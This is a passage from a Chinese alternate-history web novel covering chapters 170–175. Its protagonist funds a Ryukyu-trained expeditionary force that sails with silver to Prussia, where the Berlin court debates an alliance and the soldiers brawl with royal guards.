陈逸风放下手中的试卷:“知道了,你先下去吧。”转头对约瑟夫说:“剩下的就交给你了。” 约瑟夫点头应下,继续专注地调试着印刷机。机器的轰鸣声中,又一批试卷整齐地吐了出来。 第一百七十章 夜谈大计 夜色渐深,首里城的城墙上,尚泰王、沈达华和陈逸风三人摆开了酒席。 “来来来,宰相大人请满饮此杯!”尚泰王端起酒杯,他的脸颊已经泛起了红晕,眼神中带着几分醉意。 沈达华也举起酒杯,月光下他那张饱经沧桑的脸上浮现出一丝笑意:“是啊,今晚月色正好,不醉不归。” 三人推杯换盏,酒过三巡,尚泰王已经醉意朦胧。他摇摇晃晃地站起身,指着远处的岸防炮台。那里矗立着刚刚运抵的德制240岸防炮,在月光下投下巨大的阴影,如同一头蛰伏的巨兽。 “宰相大人,您是不知道啊!”尚泰王的声音因为醉意而有些含糊,“那些日本人看到这巨炮时,一个个吓得面如土色,有人甚至跪地膜拜!” 说着,他哈哈大笑起来,笑声中带着几分得意:“有了这些大炮,那些小鬼子再也不敢觊觎我琉球了!” “陛下说得是。”陈逸风轻抿了一口酒,目光望向远处漆黑的海面。 尚泰王突然收敛笑容,神色变得认真起来:“琉球有了宰相,真是天大的福气!就算让我天天吃咸鱼稀饭,我也心甘情愿!” 陈逸风与沈达华相视一笑,这番马屁拍得虽然生涩,却也情真意切。 “陛下这是在向我哭穷啊?”陈逸风笑着摇了摇头。 话音未落,一名身着华服的账房捧着一个黑漆木匣走上前来。那木匣做工精致,上面雕刻着祥云纹样,在月光下泛着淡淡的光泽。 “陛下,这是明月商行准备的钱票,请过目。” 木匣打开,里面整整齐齐码放着一沓沓钱票。每一张都印刷精美,防伪暗记清晰可见。 陈逸风随手拿起一沓:“陛下,这张存单价值二十万大洋,就当是您的年节礼了。现在商户都认这钱票,用起来很是方便。” 尚泰王的手微微发抖,二十万银元!这可比往年四年的结余还要多。他下意识地咽了咽口水,喉结滚动。 “师傅,这...这使不得!”尚泰王结结巴巴地说,“琉球现在百废待兴,这钱还是...” 话虽如此说,他的眼睛却死死盯着那木匣,显然,他的脑海中已经在盘算着如何修缮首里城,如何改善民生了。 “陛下不必推辞。”陈逸风笑道,“这点小钱不算什么。以后每年的结余只会更多。” 酒过三巡,尚泰王已经醉得不省人事,抱着钱匣死活不撒手。几个内侍好不容易才将他搀扶着回了后宫,脚步踉跄,却始终紧抱着木匣不放。 城墙上只剩下陈逸风和沈达华二人。 “先生,您真的不打算吞并琉球?”沈达华终于问出了心中的疑惑。 陈逸风没有立即回答。他指了指港口那些灯火通明的洋船,又指向正在建设的岸防炮台。港口里停泊着各国商船,桅杆林立,灯火点点,宛如一片星河落入人间。 “此地乃千帆云集之处,乃华夏文化远航之门户。”陈逸风的声音低沉而坚定,“这条岛链,就是锁住中华国运的钥匙。” “只要掌控琉球,渤海、东海、黄海就都是我们的内海。敌人想要入侵,就必须突破第一岛链。” “我要在太平洋上建立防线,组建远洋舰队。战争,总比在家门口打要强。” 沈达华倒吸一口凉气,震惊问道:“这...这得多少战舰才够?需要多少钱?先生您一个人能办到?” 陈逸风得意道:“曾国藩已经答应了,江南的散碎银两由我调用,宁霜津也会全力配合。” 提到曾国藩,沈达华沉默了。这是天国的死敌,多少弟兄死在他手上。 “王爷,我知道这很难接受。”陈逸风的声音变得柔和,“但现在的中华,就像奄奄一息的病人,经不起再折腾了。” 沈达华仰头饮尽杯中酒,酒水顺着嘴角流下,在月光下闪着微光:“先生,我明白。可是这么多势力,要如何让他们心服口服地合作?” 他放下酒杯,目光深邃:“我研究过西方的那些制度,却始终想不明白。不同信仰,不同价值观的人,究竟如何才能坐在一起?” 这个问题,就像一把利剑悬在陈逸风心头。他望着远处的海面,沉默良久。 “给我时间,让我试一试。”陈逸风的声音坚定而沉稳。 他从怀中掏出一本破旧的笔记本,借着火把的光翻看起来。纸页已经发黄,边角甚至有些破损。 “这是我这些年记录的东西。”他轻声说道,“从晚清到民国,从军阀混战到抗日战争,每一段历史都在告诉我们同样的道理。” “什么道理?” “权力的平衡。”陈逸风合上笔记本,“太过集中的权力会导致腐败,但过度分散的权力又会带来混乱。就像...就像钟摆一样,永远在两个极端之间摇摆。” 城下传来更换岗哨的声音,此起彼伏的脚步声打破了夜的寂静。 “你是说,就像现在的琉球?”沈达华若有所思。 “对,但不仅仅是琉球。”陈逸风站起身,开始在城头来回踱步,“你看看历史,从秦统一六国开始,集权与分权的较量就从未停止过。” 他停下脚步,转向沈达华:“当年八国联军入侵,慈禧向列强宣战。可李鸿章、张之洞等东南督抚却公然抗命,自行与列强交涉。这就是著名的东南自保。” “分权带来的后果。”沈达华点点头。 “但过度集权同样危险。”陈逸风继续说道,“独裁者往往会迷失在权力中,最终害人害己。” 远处传来一声悠长的号角声,那是港口的巡逻船在报时。 “所以你组建新军?”沈达华问道。 陈逸风露出一丝笑意:“新军只是开始。我要做的,是在这个时空里找到一条新的道路。” 他转身面向大海,声音坚定:“一条既不会让权力过度集中,也不会分散到四分五裂的道路。” 沈达华沉默了片刻,突然笑道:“你总是能给我惊喜。” 天边已经泛起鱼肚白,新的一天即将开始。城下传来士兵们训练的喊声,整齐划一。 “走吧,该去看看新军的选拔了。”陈逸风伸了个懒腰。 第一百七十一章 远征军扬帆起航 训练场上,数百名士兵正在进行最后的考核。 野平太站在队伍中,显得格外醒目。他虽然是日本人,但在琉球血战中表现出的勇气和忠诚,已经赢得了所有人的尊重。 “报告!”一名军官快步走来,“外语考核已经完成,共有五十名日籍士兵通过测试。” 陈逸风点点头:“很好,他们都是宝贵的人才。” 接下来的几天,陈逸风忙得几乎不见人影。他要为远征军准备装备,每一样都要亲自检查。 御风连星枪的保养、战术短刀的开刃、军工铲的质量、急救药材的储存...他事无巨细,都要过问。 “这些装备可能会决定你们的生死。”他对着集合的士兵们说,“我不能让任何一个战士因为装备问题倒在异国他乡。” 士兵们听得动容,眼中闪烁着泪光。 终于,在第三日晴朗的早晨,远征军整装待发。三百名精锐站在码头上,身着崭新的军装,背着擦拭得锃亮的武器。 “你们即将远赴欧洲,是第一支登陆欧洲的中国军队!”陈逸风的声音在码头上回荡,“每个人的名字都将载入史册!” “年后我要在琉球修建军庙,你们的名字都要挂在庙里。即便战死沙场,后人也会永远祭祀你们!” 士兵们热血沸腾,高声呼喊:“以我血,祭轩辕!以我命,祭华夏!” 首里城的巨炮轰鸣,为远征军送行。荷兰商船缓缓驶离港口,驶向遥远的欧罗巴。 陈逸风站在码头上,目送战士们远去。晨光中,他的身影显得格外高大。 “去吧,改写历史。”他轻声说道。 不远处,沈达华默默注视着这一切。他看到陈逸风的眼神,那里面闪烁着他从未见过的光芒。 那是一种超越了个人得失,超越了时代局限的光芒。 望海城的冬夜,寒风凛冽。 积雪覆盖着街道,远处传来零星的鞭炮声,偶尔有几个醉醺醺的水手踉跄而过,留下一串歪歪扭扭的脚印。明月商行的后宅灯火通明,隔着厚重的玻璃窗都能听到里面的欢声笑语。 “老爷,这锅这什锦鸭子可是我连着炖了六个时辰。”厨娘郑婆子端着一个冒着热气的砂锅,脸上写满了得意,“特意加了云南的松茸,保准您吃了还想吃。” 陈逸风闻着扑鼻的香气,不由得食指大动:“郑婆子的手艺是越发精进了。” “那可不!”郑婆子眉开眼笑,“我可是专门跟着广东来的大厨学了一个月呢。” 话音未落,管事钱四就捧着一坛酒小跑进来:“老爷,宁霜津派人送来的五十年女儿红,说是六百里加急,就为赶在除夕之前送到。” “宁老板有心了。”陈逸风接过酒坛,手指轻轻抚过封泥,“这可是难得的好酒。” 院子里突然响起一阵喧哗,伙计大壮子气喘吁吁地跑进来:“老爷,浏阳的十万响鞭炮都挂好了,就等您发话!” 陈逸风环顾四周,看着满屋子忙碌的身影,心中涌起一股暖流。从琉球回来才三天,这种家的感觉让他恍若隔世。同治四年即将过去,这一年的风风雨雨仿佛就在眼前。 “都别忙活了,今天是除夕,咱们好好吃一顿。”陈逸风端起酒杯,向众人示意。 琥珀坐在角落的炭盆旁,脸色苍白得像纸一样。自从望海一战后,她的身子一直没有完全恢复。陈逸风注意到她单薄的衣着,立即起身取来自己的白狐披风。 “黄怀瑜的药方怎么样?”他轻轻将披风搭在琥珀肩上,关切地问道。 琥珀眼中闪过一丝感动,声音有些哽咽:“多谢老爷记挂。黄大夫说,只要按时服药,康复的希望很大。” “那就好。”陈逸风的手在她肩上停留了一瞬,“今晚可以喝点葡萄酒暖身子,别碰烈酒。” 诸瑜和凤女分坐两侧,看着这一幕,欣慰万分。这个不拘小节的男人,总是能在不经意间流露出令人心动的一面。 “来来来,喝酒喝酒!”暖柔端着酒壶,已经开始张罗酒令,“输了的要罚酒,还得唱个小曲儿!” 婉玉也跟着起哄:“就是就是,今儿个可是除夕,不醉不归!” 屋子里的气氛越发热闹,觥筹交错间,笑声不断。陈逸风正想跟着闹一闹,窗外突然响起一阵轻叩声。 “先生。”是孟明蛇低沉的声音,“洋人已经在二楼等候多时了。” 陈逸风这才想起还有迈克等人在等着,赶紧起身告罪。刚出内宅的门,瞬间被热情似火的战士和小伙伴们团团包抄。 “大人!”年轻的士兵大孙举着酒杯,脸已经红透了,“今天除夕,来,喝一个!” “大人,敬您一杯!” “大人......” 推杯换盏间,陈逸风好不容易才脱身。等他上到二楼时,迈克、洛根、墨德等人已经等得有些不耐烦了。 “抱歉,让诸位久等了。”陈逸风笑着举杯,“今天是中国的除夕,按照我们的习俗,要好好喝一场。” 几杯酒下肚,洛根直接切入正题:“陈先生,我很好奇,为什么要派士兵去普鲁士?那场战争与中国无关,您为什么如此上心?” “洛根先生。”他缓缓开口,“在这个世界上,没有什么是真正无关的。” 话音未落,楼下突然传来一阵喧闹。原来是大壮子不小心打翻了一盘菜,被郑婆子追着打。 “哈哈,看来楼下比这里热闹多了。”迈克笑着说,“不如我们也下去凑凑热闹?” 陈逸风正要答应,突然看到窗外飘起了雪花。鹅毛大雪纷纷扬扬,将整个望海城笼罩在一片银白之中。 远处的教堂钟声悠悠响起,提醒着时间的流逝。这个除夕之夜,因为这些人的存在而格外温暖。 “诸位。”陈逸风举起酒杯,“共饮此杯!” 觥筹交错间,一年即将过去。窗外的鞭炮声此起彼伏,将望海的夜空映得通红。雪花飘落在窗棂上,悄无声息地融化。 新的一年,注定会有更多的挑战和变数。但此刻,他只想和这些并肩作战的兄弟们,一醉方休。 第一百七十二章 新军雄狮展风采 而在遥远的马六甲海峡,一艘荷兰商船正破浪前行。 狮城的阳光毒辣,赤道线上的热浪滚滚而来,空气中弥漫着一股燥热与躁动。 街道两旁,洋人们撑着精致的遮阳伞,踩着皮鞋,优雅地踱着步。女士们穿着层层叠叠的蕾丝裙装,手中的羽毛扇轻轻摇曳,驱赶着扑面而来的热气。 土著们缩在店铺檐下的阴凉处,懒洋洋地打着盹,偶尔抬眼瞥一眼来往的行人,又继续昏昏欲睡。 华人的街区却是另一番景象。街道两旁挂满了大红灯笼,商铺门前贴着喜庆的春联,空气中飘荡着年货的香气。小贩们吆喝着,讨价还价的声音此起彼伏。 这本该是个普通的春节,但命运却在这一天悄然改变了轨迹。 港口码头上,一艘荷兰商船缓缓靠岸。甲板上的水手们忙碌地抛下缆绳,码头工人们熟练地系紧船只。 突然,一阵整齐的脚步声从船舱传来。咚、咚、咚,皮靴踏在木板上的声响,震撼着每个人的心脏。 身着单薄军装的士兵们鱼贯而出,动作整齐划一,迅速在码头上列队。他们的面容坚毅,眼神锐利,与普通的华工截然不同。 “立正!” “稍息!” 洪亮的口令声响彻云霄,引来了更多围观者。洋人们停下脚步,皱眉打量着这支不速之客。土著们瞪大了眼睛,窃窃私语。 “瞧瞧都是哪路神仙?”一位戴着高礼帽的英国商人问道。 “看起来像是华人,但气质完全不同。”他身边的同伴摇着头,“你看他们的装备,那是美式军装?” 正当议论纷纷之际,一队英军匆匆赶到。领头的英军上尉满头大汗,制服前襟已经被汗水浸湿,右手始终按在腰间的手枪上。 “你们必须立即停止前进!”上尉用命令的口吻喝道,“这里是英国的势力范围!” 瑾周信缓步上前,嘴角挂着若有若无的笑意。他用标准的英语回应:“这不是自由港吗?我们只是普通的旅客。” “普通旅客?”上尉冷笑,“穿着军装的旅客?带着武器的旅客?” “这是我们的传统服饰。”瑾周信不紧不慢地说,“至于武器,难道您没看到码头上其他商船的水手也配着武器吗?” 双方剑拔弩张之际,一个身着考究西装的中年人挤过人群,来到瑾周信身边。 “艾伦姆先生。”瑾周信微微点头。 普鲁士密使艾伦姆立刻展开调停工作,他向英军上尉出示了一份文件,低声交谈了几句。 英军上尉的脸色变了几变,最终不甘心地让开了道路。但他依然恶狠狠地警告:“天黑前必须离开,否则我会动用武力!” 瑾周信转身面对队伍,用汉语高声道:“弟兄们,抬起头,挺起胸!让海外游子看看咱们的风采!” 三百名士兵整齐列队,踏着坚定的步伐向城区进发。他们的军靴踏在石板路上,发出震撼人心的声响。 洋人们不由自主地让开道路,西洋女士们惊呼着用扇子遮面。土著们噤若寒蝉,被这支军队身上的杀气震慑。 而华人们的反应却截然不同。 当军队进入华人聚居区时,街道两旁的店铺里冲出无数人。他们瞪大眼睛,难以置信地看着这支军队。 “这...这是我们的军队?” “他们怎么没有辫子?” “看他们的气势,简直不敢相信...” 一位身着长衫的老者颤抖着走到队伍前,泪水顺着皱纹滑落:“我活了七十多年,终于看到了我们自己的军队!” 这声音仿佛点燃了导火索,周围的华人们爆发出热烈的欢呼。有人跪地痛哭,有人高声呼喊,有人激动地挥舞双手。 瑾周信强忍着泪水,下达了自由活动的命令。 瞬间,士兵们被热情的华人团团围住。大家七嘴八舌地询问,递上茶水点心。商会的大佬们争相结交军官,要请他们吃饭。 “你们是从哪里来的?” “是琉球吗?” “听说过陈逸风先生吗?” “《域外见闻》我们这里也有!” 虽然被热情的侨胞包围,但军官们的警惕性丝毫不减。他们注意到,越来越多的白人警察和土著巡警出现在街道两旁。艾伦姆在人群中穿梭,不停地与各方周旋。 诸葛林看着街道两边虎视眈眈的洋人,咬牙切齿地对身边的弟兄说:“都要沉住气,千万不能给洋人任何借口。” 华人们在街道上摆起了百桌宴席,香气四溢,觥筹交错。各路商会大佬轮番敬酒,连平日趾高气昂的洋商也不得不赔着笑脸。 新军虽然严守纪律,滴酒不沾,但已经被这份浓浓的乡情打动。一些年轻的士兵偷偷抹着眼泪,他们终于明白了陈逸风的良苦用心。 这不仅仅是一支军队的远征,更是一个民族的觉醒。 夕阳西下,天色渐暗。瑾周信看了看怀表,知道该离开了。 “集合!”随着一声令下,士兵们迅速归队。 华人们依依不舍地送别,有人塞来包裹的年货,有人递上书信托带。老者们抹着眼泪,年轻人挥手告别。 “一定要再来!” “我们等着你们!” “祝你们一路平安!” 军队整齐列队,向码头进发。夜幕降临时,荷兰商船缓缓离港,消失在茫茫大海中。 最初的几天,甲板上时常能看到士兵们扶着栏杆呕吐。海浪颠簸,连经验丰富的水手都有些吃不消。 “这可不行。”瑾周信召集军官开会,“要尽快适应海上生活,否则到了欧洲怎么打仗?” 于是,士兵们开始在甲板上训练。即便是在风浪最大的时候,他们也坚持进行体能训练和刺刀演练。渐渐地,晕船的人越来越少,取而代之的是对这片陌生海域的好奇。 艾伦姆每天都会给他们上德语课。这些士兵的学习能力让他惊讶,短短时间就能进行简单的日常对话。他们甚至自编了一本德语、英语、汉语对照的小词典。 “Guten en!”清晨,士兵们用德语向艾伦姆问好。 “发音还需要改进。”艾伦姆纠正着他们的发音,“但进步很快。” 第一百七十三章 欧洲大陆初遇波折 三个月的航程,让这群年轻人开了眼界。从马六甲海峡到印度洋,从科伦坡到好望角,沿途的见闻让他们对这个世界有了全新的认识。 “看,那是蒸汽船!”有士兵指着远处一艘冒着黑烟的轮船。 “英国人的战舰就是这样的。”艾伦姆解释道,“但普鲁士的军舰更强大。” 四月初,商船终于抵达直布罗陀海峡。瞭望手的喊声传来:“欢迎莅临欧罗巴!” 新军们趴在船舷上,看着来往如织的船只。蒸汽明轮船冒着黑烟驶过,展现着欧洲的工业力量。远处的海岸线若隐若现,那里就是传说中的欧洲大陆。 “真是壮观。”一名士兵感叹。 艾伦姆却在这时提出了一个要求:“在没有正式外交协议之前,诸位需要暂时隐藏身份。” 瑾周信眉头紧皱:“这是什么意思?” “华夏三百勇士闪现欧陆,必定引起轰动。”艾伦姆解释道,“尤其是英法,一定会密切关注。” “那银子呢?”瑾周信冷笑,“没有正式协议,银子也得由我们保管。” 艾伦姆面露难色:“陈先生已经表达了诚意...” “诚意是相互的。”瑾周信打断他,眼神锐利,“没有协议,就休想动那些银子。” 艾伦姆无奈,只得同意。在鹿特丹外海短暂停留后,他登岸发出电报,然后继续北上。 此时的不莱梅,首相俾姆麦正在视察军工厂。当他看到破译的电报内容时,一向沉稳的铁血宰相也坐不住了。 “确定是艾伦姆?”俾姆麦放下电报,“他真带来了一百万两白银和三百名中国军队?” “以艾伦姆的性格,不会说谎。”情报官回答,“按照航速,明晚就能到达不莱梅港。” 俾姆麦踱步到窗前。这笔钱对当前的普鲁士来说,无异于及时雨。全民义务兵役制让国库捉襟见肘,禁止奢侈品进口的政策更是让经济雪上加霜。 二百五十万美金,足够武装十五万陆军。 “准备火车。”俾姆麦转身吩咐,“我要立刻返回柏林觐见国王。做好接待准备,但要严格管控他们的活动。一切等我回来再定。” 易北河水波光粼粼,倒映着两岸灯火。夜色渐深,澜苍城这座拥有千年历史的德意志名城,在暮色中散发着迷人的光芒。 瑾周信倚在疾翼船的栏杆上,目光扫过岸边林立的建筑。砖石结构的房屋鳞次栉比,哥特式的尖顶教堂直插云霄,街道上煤气路灯将整座城市照得通明。马车碾过石板路的哒哒声不绝于耳,街边餐馆里传来觥筹交错的声响。 “这就是不莱梅?”苗烈走到瑾周信身边,眼中闪烁着惊叹的光芒,“比我想象中还要气派得多。” 瑾周信指着街道两旁整齐排列的煤气灯:“看到那些路灯了吗?那不是普通的油灯,而是用煤气点燃的。管道都埋在地下,直接通向每一盏灯。” “这得花多少钱啊?”苗烈摇头感叹。 “城市税收。”瑾周信嘴角泛起一丝苦涩,“不像我们大清,只知道收税,却不知道为百姓做事。” 船舱里传来一阵喧哗,几个新军士兵正在整理即将搬运的木箱。 “长官!”一名士兵突然从船舱里冲出来,脸上带着焦急,“有几个箱子的封条松了。” 瑾周信皱眉道:“让士兵们重新检查每个箱子,一定要确保万无一失。” 艾伦姆踱步走来:“先生们,我们快到了。趁着合同还没落笔,你们将暂住在不莱梅陆军训练营。” 船只缓缓靠岸,诸葛林立即带着一个连队跳上岸,在码头两侧列队。新军士兵们开始搬运木箱,每个人都小心翼翼,生怕出任何差错。 码头边已经聚集了不少普鲁士士兵,他们好奇地打量着这支来自东方的队伍。 “这些东方人怎么没有辫子?” “他们带来了什么?” “那些箱子看起来很重啊。” 窃窃私语声此起彼伏。突然,一声巨响打破了夜的宁静。一个木箱从台阶上滑落,重重摔在地上。银币四散滚落,在煤气灯下闪烁着诱人的光芒。 “天哪!是钱!”普鲁士士兵们惊呼。 苗烈厉声喝道:“别管这些,继续搬运!最后再收拾!” 瑾周信站在原地,嘴角微微上扬。这一幕,恰好在他的预料之中。消息很快就会传遍整个德意志,这正是他们想要的效果。 两个小时后,所有银币都被搬进了军营。瑾周信让人找来军需官,交给他一万枚南洋龙元,用于支付食宿费用。 艾伦姆临走前说道:“三天之内,你们就能得到国王和首相的答复。至于您要的记者和撰稿人,我也已经在联系了。” 夜已深,但军营里依然灯火通明。新军士兵们正在清点银币,确保无一遗失。瑾周信站在窗前,望着远处的灯火出神。 “兄弟”诸葛林轻声走进来,“外围已经被普鲁士龙骧军包围了。” 瑾周信轻笑一声:“意料之中。不过,他们不会轻举妄动的。” “瑾大人!”苗烈推门而入,“有情况。” 瑾周信放下手中的茶杯:“说。” “普鲁士人派来了一个翻译官,说是要详细了解我们的情况。”苗烈压低声音,“但我觉得,他更像是个探子。” 瑾周信整理了一下衣襟:“带他来见我。” 不一会儿,一个身着普鲁士军服的中年人走了进来。他自我介绍说叫汉斯,是普鲁士陆军部的翻译官。 “瑾先生。”汉斯用生硬的中文说道,“我奉命来了解贵方的具体情况。” 瑾周信示意他坐下:“汉斯先生请问。” “首先,我想知道,你们为什么选择普鲁士?”汉斯直视瑾周信的眼睛,“法国、英国,甚至俄国,都是更强大的选择。” 瑾周信端起茶杯,慢条斯理地说:“因为我们需要一个真正的盟友,而不是主子。” 汉斯若有所思地点点头:“那么,你们能为普鲁士带来什么?除了这笔钱之外。” “经验。”瑾周信放下茶杯,“我们有对抗列强的经验,虽然失败了,但这些教训比胜利更有价值。” 汉斯突然话锋一转:“听说你们的军队已经完全西化了?” “不。”瑾周信摇头,“我们只是吸收了西方的先进之处,但骨子里依然是东方的军队。” 第一百七十四章 普鲁士宫廷的激辩 第二天,柏林皇宫的餐厅里,水晶吊灯投射出柔和的光芒,映照着四个男人凝重的面容。餐桌上摆放着精致的银制餐具,冰镇的葡萄酒在高脚杯中微微晃动,散发出醇厚的香气。 然而没人在意这些。空气中弥漫着一股剑拔弩张的气息,仿佛一触即发的火药桶。 “绝对不能签这个条约!”卡尔亲王猛地拍案而起,餐具随着他的动作发出清脆的碰撞声,“与一个衰败的国家结盟,简直就是自取其辱!” 他的声音在餐厅里回荡,面色涨红,双手撑在桌面上,指节因用力而发白。那双平日里总是带着贵族优雅的眼睛此刻布满血丝,情绪激动得近乎失控。 威廉一世放下手中的餐叉,目光严厉地看向自己的儿子:“卡尔,注意你的言辞。”老国王的声音不大,却自带一股威严,仿佛冬日里的寒风,让人不寒而栗。 卡尔亲王冷哼一声,嘴角勾起一抹讥讽:“父王,难道我说错了吗?那个东方古国已经腐朽不堪,连皇家园林被焚都无力报复,这样的盟友,只会成为我们的累赘!” 他踱步到窗边,望着窗外繁华的柏林街景:“我们正处在上升期,需要强大的盟友,而不是一个奄奄一息的病人。” “钱可以收下。”卡尔亲王转过身,眼中闪过一丝精明,“但条约绝不能签。权当是一笔寻常债务,最后支付些利息就是。” 威廉一世的眉头皱得更深了,餐厅里的气氛越发凝重,连仆人都不敢发出声响。 这时,总参谋长毛奇放下酒杯,开口打破了沉默:“从长远来看,与中国结盟未必是坏事。” 他的声音沉稳有力,仿佛能穿透人心:“那片土地拥有世界上最大的人口,最广阔的疆域。即便现在衰落了,但潜力依然不可估量。” 毛奇站起身,走到挂在墙上的世界地图前:“如果德意志能够进入那片市场,光是每个中国人买一根德国制造的钉子,就足以让我们的工厂日夜不停地运转。” “但是!”毛奇话锋一转,手指在地图上划过一道弧线,“短期内与中国结盟,风险太大。英法不会坐视我们染指他们的势力范围。一旦他们联手对付我们,胜算渺茫。” 威廉一世若有所思地点了点头,目光在地图上逡巡。 三道目光齐刷刷地投向了首相俾姆麦。这位铁血宰相正在慢条斯理地切着牛肉,仿佛对周围的争论充耳不闻。 餐刀划过牛肉的声音在寂静的餐厅里格外清晰。俾姆麦的动作优雅而从容,仿佛在进行一场艺术表演。 良久,他才放下刀叉,用餐巾优雅地擦拭嘴角:“诸位可曾听说过陈逸风?” 见众人摇头,俾姆麦继续说:“这是一位年轻的东方学者,他写了一本《域外见闻》,在东方掀起了不小的风浪。” “他说东方正面临"三千年未有之大变革"。”俾姆麦端起酒杯,轻轻晃动,“其实,这句话同样适用于我们德意志。” 俾姆麦的目光变得深邃,仿佛能看透时间的长河:“我们比英法晚了近百年才开始崛起。等我们醒悟过来时,世界上的肥肉早已被瓜分殆尽。” “但正因如此,我们更要抓住每一个机会。”俾姆麦的声音突然变得锐利,如同出鞘的利剑,“所有人都认为中国已经衰落,所有人都觉得与中国结盟是愚蠢之举,这恰恰证明,这是一个绝佳的机会!” 他站起身,踱步到窗边:“那个古老的帝国,在几千年的历史长河中积累了难以想象的财富。没人能准确计算出具体数字,差不多五百亿的巨额财富,也许是二百亿两。” “如果能够调动这些沉睡的财富......”俾姆麦的双眼仿佛看到了德意志帝国崛起的曙光。 老毛奇摸着下巴,若有所思:“首相的意思是......” “没错,”俾姆麦打断道,转身面对众人,“在这个被英法瓜分的世界上,我们还能找到第二个这样的机会吗?” 卡尔亲王却不以为然,冷笑道:“就算中国真有这么多财富,我们又如何运来?总不能像这次一样偷偷摸摸地运送吧?” 他的目光扫过在座的每一个人:“而且,一旦英法发现我们的意图,后果不堪设想。” 说完,他整理了一下军服,面无表情地说:“抱歉,我还有要事在身,先行告退。这件事,还是从长计议吧。” 看着卡尔亲王离去的背影,俾姆麦轻轻摇了摇头。他走到酒柜前,取出一瓶陈年白兰地,给自己倒了一杯。 琥珀色的酒液在灯光下闪烁着迷人的光芒,就像他此刻复杂的心绪。他知道,改变这些人的想法并非易事。但他更清楚,这是德意志崛起的绝佳机会,无论如何也不能错过。 两天前,他收到了陈逸风的密信。那封用英文写就的三万字长信,字字珠玑,句句震撼。信中详细分析了当前的世界格局,预测了未来可能发生的变革,更提出了一系列令人耳目一新的观点。 那个年轻人对世界格局的洞察,对未来科技发展的预见,都让这位见多识广的铁血首相为之惊叹。 而最让俾姆麦动心的,是对方展现出来的那种异乎寻常的自信。那不是狂妄,而是建立在深刻洞察之上的笃定。 这样的人物,值得信任,更值得合作。 威廉一世靠在椅背上,目光深远:“卡尔说得也有道理。这件事确实需要慎重考虑。” 老毛奇点点头:“是啊,一旦决策失误,后果不堪设想。” 俾姆麦望着窗外的柏林街景,夜幕已经降临,街灯如同繁星点点。远处传来马车的轱辘声,还有醉汉的歌声,一切都是那么平常。 但他知道,在这平静的表象下,一场足以改变世界格局的博弈正在悄然展开。而他,将是这场博弈的关键棋手。 “我需要时间。”俾姆麦最后说道,声音低沉而坚定,“给我三天时间,我会给出一个让所有人都满意的方案。” 威廉一世和老毛奇对视一眼,都从对方眼中看到了赞同。他们都知道,如果有人能够解决这个难题,那一定是这位铁血宰相。 第一百七十五章 军营银箱引起的纷争 夜色渐深,餐厅里的灯光依然明亮。三个男人各怀心事,却都在思考着同一个问题:这个决定,将会把德意志带向何方? 而此时的卡尔亲王,正在自己的书房里来回踱步。他的内心充满矛盾:一方面,他不愿看到德意志错过发展的机会;另一方面,他又担心这个决定会给国家带来灾难。 不莱梅新军营里,一个奇怪的传言在士兵间悄然流传。 说是有一支东方面孔的军队,趁着夜色潜入了军营,还带来了堆积如山的银币。这个传言自然遭到了大多数士兵的嗤之以鼻。 “简直是无稽之谈!”一名普鲁士士兵将酒杯重重放在木桌上,“东方人?他们连大西洋都过不来!” “可是...”他的同伴压低声音,“我亲眼看见那些银箱子,足足有上百个!” 酒馆里的议论声此起彼伏。在普鲁士士兵心中,神秘的中国不过是天方夜谭中的传说之地。放眼整个欧洲,能够跨越大洋向中国投放兵力的,也就英法俄等寥寥数国。 其他国家虽有远洋商船,但没有强大水军护航,向东方投放一兵一卒都是妄想。而普鲁士,不过是一个以陆军为核心的内陆军事强国,叱咤远洋对他们来说只是一个遥不可及的梦想。 但这个传言却顽强地在军营中扩散着。短短三天时间,连不莱梅市内的普通工人和妇女都已经知晓了这个离奇的消息。 军营内的一间大屋里,瑾周信正站在窗前,望着外面来来往往运送物资的马车。 这三天来,他们一直在守护着这批巨额银币。在这陌生的异国他乡,除了手中的火枪和有限的弹药,他们一无所有。就连唯一熟悉的艾伦姆,这三天也不见踪影。 “长官,”一名士兵轻声汇报,“外面又有人在打探消息。” 瑾周信转过身,目光扫过屋内堆积的银箱。三百名新军士兵分散在各个角落,警惕地盯着每一个可能的入口。 “告诉弟兄们,”他的声音低沉而坚定,“没有上级命令,谁都不准靠近这些箱子。” 正说着,诸葛林快步走了进来:“连长,又有人来了。这次是普鲁士皇家龙骧军。” 瑾周信眼神一凛,就见一队穿着华丽制服的士兵簇拥着一名金发碧眼的传令官大步走来。那传令官身材高大,举止傲慢,军靴在地板上发出沉重的响声。 “遵循卡尔亲王殿下旨意,”传令官用德语说道,眼神中带着几分轻蔑,“御前精锐特来领取银两,请你方配合!” 艾伦姆不在,没人翻译。但瑾周信从对方的手势和态度也能明白他的意思。 “为什么?”瑾周信用生硬的德语问道。 “呵呵,”传令官冷笑一声,“你们无权过问缘由。你们不过是押运银两的卫兵,既然银币已经送到普鲁士,那就该交给普鲁士的王太子了。” 他的语气充满了优越感,仿佛在对待低等的仆从。 “放屁!”瑾周信忍不住爆了粗口,“这批银币是有备案的,没有上级的命令,谁也别想动它分毫!” 传令官听不懂汉语,但从瑾周信的语气和表情也能猜到几分。他的脸瞬间涨得通红,猛地摘下白手套,朝着瑾周信的脸上扔去。 “你们这些东方野蛮人,居然敢对普鲁士贵族无礼!”他怒吼道,“咱们单挑一场!” 周围的龙骧军士兵纷纷后退,在场地中间留出一片空地。瑾周信嘴角勾起一抹冷笑,把军帽往诸葛林怀里一丢。 “来啊,”他活动着手腕,“让你见识见识咱们东方野蛮人的本事!” 传令官发出一声怒吼,挥拳直取瑾周信面门。这一拳来势汹汹,带着呼啸的风声。但在瑾周信眼中,对方的动作却如此笨拙。 他身形一晃,轻松避过对方的拳头,右手已经兜住了传令官的左腋。一记漂亮的背摔,这位高傲的贵族就被重重地摔在了银箱上。 “砰”的一声巨响,木箱被砸开,银币哗啦啦地洒了一地。阳光照在银币上,反射出刺眼的光芒。 “你不就是想要银两吗?”瑾周信冷笑道,“爷爷给你!” 两名龙骧军士兵见状,怒吼着冲了上来。他们显然受过专业的格斗训练,动作迅速而协调。 “二打一?”诸葛林一声冷哼,闪电般踢出一脚。 其中一名士兵胸口中招,整个人倒飞出去,撞碎了两张木床才停下。另一名士兵刚要出手,瑾周信已经闪到他身后,一个巧劲就卸掉了他的左臂。 短短几个回合,就有六名龙骧军倒在地上哀嚎。剩下的士兵面面相觑,不敢轻举妄动。 “所有人听令,”传令官捂着受伤的手臂爬起来,“举枪瞄准!” 